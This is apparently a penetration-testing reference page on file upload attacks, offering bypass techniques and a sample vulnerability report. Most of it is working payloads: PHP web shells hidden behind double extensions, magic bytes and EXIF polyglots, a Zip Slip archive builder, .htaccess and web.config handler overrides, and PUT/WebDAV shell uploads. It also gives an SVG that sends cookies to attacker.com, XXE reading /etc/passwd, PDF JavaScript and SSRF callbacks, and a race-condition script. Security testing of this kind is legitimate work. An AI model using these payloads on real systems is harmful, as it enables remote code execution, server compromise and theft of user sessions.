File Upload Attacks
File upload vulnerabilities allow attackers to upload malicious files to web servers, potentially leading to remote code execution or complete server compromise. This guide focuses on practical bypass techniques and exploitation paths you can use as a real engagement reference.
Danger
π Table of Contents
π― Reconnaissance & Testing
π Core Bypass Techniques
β‘ Path & Filename Attacks
π¨ Format-Specific Attacks
β±οΈ Advanced Techniques
π Documentation & Practice
Tools & Resources
Understanding File Upload Vulnerabilities
File upload vulnerabilities occur when applications fail to properly validate uploaded files. Attackers can exploit weak validation to upload malicious files that execute on the server or client side.
Common Vulnerable Scenarios
- Profile picture/avatar uploads
- Document upload portals (resume, PDF, etc.)
- File sharing applications
- CMS media libraries
- Import/export functionality
- Backup restore features
Quick test flow (5β10 minutes)
- Find storage & serving: Upload a benign file and locate its final URL/path (public link, CDN, or internal-only).
- Confirm execution surface: Is it rendered by the browser (SVG/PDF) or executed by the server (PHP/ASP/JSP)?
- Run bypass matrix: Start with extension and Content-Type, then check magic bytes and polyglots.
- Check write-what-where: Test path traversal and config uploads when filenames/paths are user-controlled.
- Probe processing: If the app generates previews/thumbnails, prioritize PDF and server-side fetching/SSRF behaviors.
Recon the Upload Pipeline
Before trying payloads, map how the application handles uploads end-to-end. This is often the difference between βcool bypassβ and a defensible, reproducible finding.
Questions to answer
- β Where is the file stored (local disk, object storage, DB, temp directory)?
- β Is it renamed (UUID), re-encoded (image processing), or wrapped (zip/container)?
- β How is it served (same origin, separate domain, CDN, signed URL, private bucket proxy)?
- β What response discloses IDs/paths (JSON fields, Location header, HTML)?
- β Are there authorization checks on download/view (IDOR on file IDs)?
Signals to capture
- β Response body fields (fileId, url, key, path, mime)
- β Response headers (Content-Type, Content-Disposition, X-Content-Type-Options)
- β Final served headers (cache-control, CSP, nosniff, CORP/CORS)
- β Any server-side processing events (thumbnail endpoints, background jobs)
Cloud & Object Storage Patterns
Modern apps often upload directly to S3/GCS/Azure via presigned URLs. This shifts the attack surface:
Presigned URL Abuse
If the app generates a signed URL for PUT without restricting Content-Type or size:
- Upload malicious HTML/SVG/JS directly to the bucket.
- Overwrite existing assets if key is predictable.
- Upload massive files (DoS) if size isn't signed.
Bucket Misconfiguration
Even if the upload is safe, the bucket policy might be weak:
- Check for public list access (
ls s3://...). - Check if uploaded files are served with
Content-Type: application/octet-stream(forces download) or rendered (XSS risk).
Testing Matrix
Use this matrix to systematically test bypass vectors. Stop when you find a working path, but document all attempts.
| Vector | Action / Payload | Expected Signal | False Positives |
|---|---|---|---|
| Extension | .php.jpg, .pHp, .phtml, .php%00.jpg | File saved with executable extension; server executes it. | File saved but served as text/plain or forced download. |
| Content-Type | Change application/x-php to image/jpeg | Upload accepted; file content remains unchanged. | App accepts it but re-encodes the image (destroying payload). |
| Magic Bytes | Prepend GIF89a or %PDF- to script | Bypasses "is this an image?" checks. | Image parsers (ImageMagick) choke on the garbage data appended. |
| Metadata (EXIF) | exiftool -Comment='<?php... | Payload survives image resizing/stripping. | Metadata is stripped but file is saved. |
| Polyglot | Valid JPG + Valid PHP (phar/jpg) | Passes strict image validation AND executes. | Complex to generate; requires specific server config to execute. |
| Zip Slip | Archive entry: ../../shell.php | File extracted to web root (overwrite). | Extraction fails or flattens directory structure. |
Extension Bypass Techniques
Attackers use various techniques to bypass file extension filters.
Double Extensions
Many applications only check the last extension or have flawed parsing:
# Double extension bypasses
shell.php.jpg
shell.php.png
shell.php.gif
shell.php.txt
# Apache specific (mod_mime)
shell.php.blah # .blah not recognized, falls back to .php
# IIS specific
shell.asp;.jpg # IIS stops at semicolonAlternative Extensions
# PHP alternatives
.php, .php2, .php3, .php4, .php5, .php7
.pht, .phtm, .phtml
.pgif, .shtml, .phar, .inc
# Case manipulation
.pHp, .PhP, .PHP, .Php5
# ASP alternatives
.asp, .aspx, .cer, .asa
.config, .ashx, .asmxNull Byte & Special Characters
# Null byte injection (older systems, PHP < 5.3.4)
shell.php%00.jpg
shell.php\x00.jpg
# Special characters
shell.php .jpg # Trailing space (Windows)
shell.php..jpg # Double dots
shell.php/ # Trailing slash
shell.php::$DATA # NTFS alternate data streamContent-Type Bypass
Applications may validate the Content-Type header instead of actual file content.
Intercept the request and modify the header.
# Intercept upload in Burp Suite and change Content-Type:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream
# Full multipart request example:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------Boundary--Magic Bytes Bypass
Applications may check file signatures (magic bytes). Prepend valid headers to your payload.
# Common magic bytes/file signatures
GIF89a # GIF image
GIF87a # GIF image (older)
\xFF\xD8\xFF # JPEG image
\x89PNG\r\n # PNG image
%PDF- # PDF document
PK # ZIP archive
# Example: GIF header with PHP payload
GIF89a
<?php system($_GET['cmd']); ?>
# Using ExifTool to inject into image metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg image.php.jpgTip
Polyglot Files
Polyglots are files that are valid in multiple formats simultaneously:
Polyglot Generation Commands
# JPEG Polyglot creation with ExifTool
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit.jpg
cp legit.jpg shell.php.jpg
# GIF Polyglot - starts with GIF header
echo -e 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif.php
# PNG polyglot using tEXt chunk
convert -size 32x32 xc:white shell.png
exiftool -Comment='<?php system($_GET["cmd"]); ?>' shell.pngPath Traversal in Uploads
Manipulate the filename to write files to arbitrary locations.
Preconditions: Works when the server uses (or partially trusts) the user-provided filename/path during storage, extraction, or move operations. Expected signal: The file becomes accessible in an unintended location, overwrites an existing file, or changes application behavior.
# Filename manipulation in Content-Disposition
Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"
Content-Disposition: form-data; name="file"; filename="..%2F..%2F..%2Fshell.php"
Content-Disposition: form-data; name="file"; filename="....//....//shell.php"
# Windows path traversal
filename="..\\..\\..\\inetpub\\wwwroot\\shell.aspx"
# URL encoded variations
filename="..%252f..%252fshell.php" # Double URL encodeZip Slip (Archive Extraction)
If the application accepts archives (zip, tar, jar, war) and extracts them without validating the filenames inside, you can overwrite files anywhere on the system.
Attack Concept
A malicious zip file can contain entries with directory traversal characters (e.g., ../../shell.php).
When extracted, the library blindly follows the path, writing the file outside the intended destination.
# Python script to create a Zip Slip payload
import zipfile
def create_zip_slip(filename, target_path, content):
with zipfile.ZipFile(filename, 'w') as zf:
# The magic: filename contains traversal characters
zf.writestr(target_path, content)
# Create a zip that writes shell.php to web root
create_zip_slip('evil.zip', '../../../../var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>')
print("Created evil.zip")Filename Vulnerabilities
Sometimes the file content is irrelevant, and the attack vector is the filename itself.
XSS via Filename
If the filename is reflected in the UI (e.g., "Upload complete: [filename]"), it can trigger XSS.
<img src=x onerror=alert(1)>.png
"><svg/onload=alert(1)>.jpg
Command Injection
If the server uses the filename in a shell command (e.g., mv $filename /storage) without quoting.
sleep 10.jpg
; sleep 10; .jpg
Configuration File Upload
When config uploads are realistic
- β Upload directory is within a web-executable path (or served by the same web server)
- β The server honors per-directory configuration files (.htaccess, web.config, .user.ini)
- β The app does not restrict filenames beginning with
.or reserved names - β You can place config and payload in the same effective directory
.htaccess Attack (Apache)
Preconditions: Apache + AllowOverride enabled for the upload directory.
Expected signal: A normally-static extension is executed/handled as PHP.
# Make .jpg files execute as PHP
AddType application/x-httpd-php .jpg
# Or use handler
AddHandler php5-script .jpg
# Enable execution for specific extension
<FilesMatch "\.innocent$">
SetHandler application/x-httpd-php
</FilesMatch>web.config Attack (IIS)
Preconditions: IIS where the upload directory honors web.config overrides.
Expected signal: A non-executable extension is mapped to a handler.
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="aspx" path="*.jpg" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\System32\inetsrv\asp.dll"
resourceType="Unspecified"/>
</handlers>
</system.webServer>
</configuration>PUT Method & WebDAV
Sometimes you don't need a file upload form. If the server has WebDAV enabled or misconfigured HTTP verbs,
you might be able to upload files directly using the PUT method.
# Test for PUT support
OPTIONS / HTTP/1.1
Host: target.com
# Response might include: Allow: GET, POST, PUT, DELETE
# Upload file via PUT
PUT /uploads/shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-httpd-php
Content-Length: 30
<?php system($_GET['cmd']); ?>
# If PUT is blocked, try MOVE (WebDAV)
PUT /uploads/shell.txt HTTP/1.1
...
MOVE /uploads/shell.txt HTTP/1.1
Destination: /uploads/shell.phpSVG & XML Upload Attacks
Tip: For SVG payloads, check how the file is served (inline vs download), the MIME type (image/svg+xml), and whether X-Content-Type-Options: nosniff is present.
SVG with XSS
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
<!-- Cookie stealer SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="http://attacker.com/steal?c="+document.cookie;
</script>
</svg>SVG XXE Attack
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="0" y="20">&xxe;</text>
</svg>PDF Active Content Testing
PDFs can contain active content including JavaScript, form actions, and embedded files that execute when opened. Many applications accept PDF uploads (resumes, documents, reports) without sanitizing active content, creating opportunities for XSS, SSRF, and phishing attacks.
Why PDF Attacks Matter
- Browser rendering: PDFs viewed in-browser can execute JavaScript in the page context
- Server-side processing: PDF libraries (wkhtmltopdf, WeasyPrint) may fetch external resources
- Desktop viewers: Acrobat Reader executes JavaScript and can trigger network requests
- Automatic preview: Many apps auto-generate thumbnails, triggering server-side rendering
Client-side: PDF JavaScript / XSS tests
This payload creates a minimal valid PDF that executes JavaScript when opened. The OpenAction
directive triggers automatically when the PDF loads.
% PDF with JavaScript alert
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
4 0 obj
<< /Type /Action /S /JavaScript /JS (app.alert('XSS via PDF');) >>
endobj
xref
0 5
trailer
<< /Size 5 /Root 1 0 R >>
startxref
%%EOFHow to Use:
- Save the code above as
malicious.pdf - Upload to the target application's PDF upload feature
- Access the uploaded PDF URL directly in browser
- If JavaScript executes, the app is vulnerable to PDF-based XSS
Server-side: SSRF / external fetch tests
These payloads help detect server-side PDF rendering (thumbnail generation, preview services) that may fetch external URLs. Use an interaction service (e.g., Burp Collaborator) and treat this as blind verification.
% PDF with form submission to external URL
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /AcroForm << /Fields [5 0 R] >> >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Annots [5 0 R] >>
endobj
5 0 obj
<< /Type /Annot /Subtype /Widget /FT /Btn /T (submit)
/A << /Type /Action /S /SubmitForm
/F << /Type /FileSpec /F (http://YOUR-BURP-COLLABORATOR.oastify.com) >>
/Flags 4 >> >>
endobj
xref
trailer
<< /Root 1 0 R >>
%%EOFHow to Use:
- Replace the URL with your Burp Collaborator or webhook.site URL
- Save as
ssrf-test.pdfand upload to target - If the server generates thumbnails or processes the PDF, it will make a request to your server
- Check Collaborator/webhook for incoming HTTP requests
- If request received, the app is vulnerable to blind SSRF via PDF processing
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R
/AA << /O << /S /JavaScript
/JS (
var xhr = app.doc.submitForm({
cURL: 'http://YOUR-SERVER.com/collect',
cSubmitAs: 'PDF'
});
) >> >>
>>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
xref
trailer << /Root 1 0 R >>
%%EOFWarning
Analysis tooling: inspect PDF structure
Use these tools to analyze PDF structure and detect active content:
# pdf-parser - List all objects in a PDF
pdf-parser.py malicious.pdf
# Search for JavaScript in PDF
pdf-parser.py --search javascript malicious.pdf
# Extract specific object (e.g., object 4)
pdf-parser.py --object 4 malicious.pdf
# peepdf - Interactive PDF analysis
peepdf -i malicious.pdf
# Inside peepdf interactive mode:
PPDF> tree # Show PDF structure
PPDF> object 4 # View specific object
PPDF> js_analyse # Analyze JavaScript
PPDF> extract js > script.js # Extract JS to file
# pdfid - Quick overview of suspicious elements
pdfid.py malicious.pdf
# Look for: /JS, /JavaScript, /OpenAction, /AA, /LaunchGenerate test PDFs: Python snippet
Programmatically create test PDFs for controlled validation.
# Using PyPDF2 or reportlab for PDF generation
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter
# Create PDF with JavaScript
def create_js_pdf(filename, js_code):
c = canvas.Canvas(filename, pagesize=letter)
c.drawString(100, 750, "Test Document")
# Add JavaScript action (requires manual PDF editing after)
c.save()
# Append JavaScript manually
with open(filename, 'ab') as f:
js_obj = f"""
4 0 obj
<< /Type /Action /S /JavaScript /JS ({js_code}) >>
endobj
"""
f.write(js_obj.encode())
# Alternative: Use raw PDF creation
def create_ssrf_pdf(callback_url):
pdf_content = f"""%PDF-1.4
1 0 obj<</Type/Catalog/Pages 2 0 R/OpenAction<</S/URI/URI({callback_url})>>>>endobj
2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj
3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj
xref
0 4
trailer<</Size 4/Root 1 0 R>>
startxref
%%EOF"""
return pdf_content
# Write SSRF test PDF
with open('ssrf_test.pdf', 'w') as f:
f.write(create_ssrf_pdf('http://burpcollaborator.net'))PDF Testing Checklist
Client-Side Tests
- β JavaScript executes in browser PDF viewer
- β JavaScript executes in Adobe Reader
- β Form actions trigger on open
- β External URLs loaded (images, CSS)
- β Embedded files can be extracted
Server-Side Tests
- β Thumbnail generation fetches URLs
- β PDF preview triggers requests
- β PDF-to-image conversion vulnerable
- β Metadata extraction processes JS
- β Internal network accessible (SSRF)
Race Condition Attacks
If the application uploads then validates/moves files, there may be a window for exploitation.
When it applies
- β Upload is first written to a web-accessible temp location
- β Validation/deletion happens asynchronously or after write
- β You can guess or observe the temporary filename/URL
Race Condition Window
# Race condition concept:
# 1. Application saves file temporarily
# 2. Application validates file
# 3. Application deletes if invalid
# Attack: Access file between steps 1 and 2
# Use Burp Intruder or Turbo Intruder for timing
# Python threading example
import threading
import requests
def upload():
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
requests.post(upload_url, files=files)
def access():
requests.get(shell_url + "?cmd=id")
# Run both simultaneously
for i in range(100):
t1 = threading.Thread(target=upload)
t2 = threading.Thread(target=access)
t1.start()
t2.start()Verification & Evidence (Engagement-Ready)
Evidence checklist
Capture
- β Upload request (full multipart body + headers)
- β Upload response (file id/path/url + status code)
- β Final served URL response (headers + body/snippet)
- β Any transformation evidence (renamed, re-encoded, stripped metadata)
Prove impact safely
- β Use a benign marker (unique string) before attempting higher impact payloads
- β Prefer out-of-band verification for SSRF (collaborator/webhook)
- β Avoid destructive writes/overwrites; demonstrate βwrite-what-whereβ using harmless files
- β Document preconditions (server type, file serving behavior, auth requirements)
File Upload Bypass Checklist
Extension Bypasses
- β Double extensions (.php.jpg)
- β Alternative extensions (.phtml, .php5)
- β Case variations (.pHp, .PHP)
- β Null bytes (.php%00.jpg)
- β Special characters (space, semicolon)
- β NTFS alternate streams (::$DATA)
Content Bypasses
- β Content-Type manipulation
- β Magic bytes injection
- β Polyglot files
- β EXIF metadata injection
- β SVG with embedded script
- β PDF with active content
Path Attacks
- β Path traversal (../)
- β URL encoded traversal
- β Zip slip vulnerability
- β Absolute path injection
Config Files
- β .htaccess upload
- β web.config upload
- β .user.ini upload
- β php.ini overrides
Practice Labs
Reporting Guide
[VLN-001] Remote Code Execution via Unrestricted File Upload
Description
The application's profile image upload functionality at /api/user/avatar fails to properly validate file extensions and content types.
An attacker can bypass the client-side checks and upload a PHP web shell by changing the Content-Type header to image/jpeg.
The uploaded file is stored in the web root at /uploads/avatars/ and is executable by the web server.
Impact
- Remote Code Execution: Complete compromise of the web server.
- Data Exfiltration: Access to database credentials, source code, and user data.
- Lateral Movement: Use the compromised server as a pivot point into the internal network.
Reproduction Steps
1. Log in to the application and navigate to Profile Settings.
2. Select a valid image (test.jpg) but intercept the request with Burp Suite.
3. Modify the filename to "shell.php" and the file content to:
<?php system($_GET['cmd']); ?>
4. Ensure Content-Type is set to "image/jpeg".
5. Forward the request. Note the response contains the path "/uploads/avatars/shell.php".
6. Navigate to /uploads/avatars/shell.php?cmd=id to confirm execution.